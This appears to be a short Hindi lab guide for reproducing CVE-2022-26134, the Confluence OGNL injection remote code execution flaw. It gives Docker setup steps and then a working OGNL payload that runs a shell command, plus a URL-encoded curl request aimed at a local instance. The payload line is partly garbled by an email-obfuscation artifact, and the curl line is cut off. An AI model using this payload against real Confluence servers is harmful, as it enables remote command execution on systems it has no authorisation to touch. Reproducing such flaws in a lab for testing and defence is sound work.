
Atlassian Confluence OGNL इंजेक्शन रिमोट कोड निष्पादन (RCE) भेद्यता (CVE-2022-26134)
docker-compose up -d
http://localhost:8090 पर आप कॉन्फ्लुएंस को चालू और चलता हुआ देखेंगे।
इसके बाद, कॉन्फ्लुएंस के लिए एक मूल्यांकन लाइसेंस प्राप्त करें और डेटाबेस को डेटाबेस नाम confluence, उपयोगकर्ता नाम postgres और पासवर्ड root के साथ सेटअप करें।
${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
curl -v "http://localhost:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%
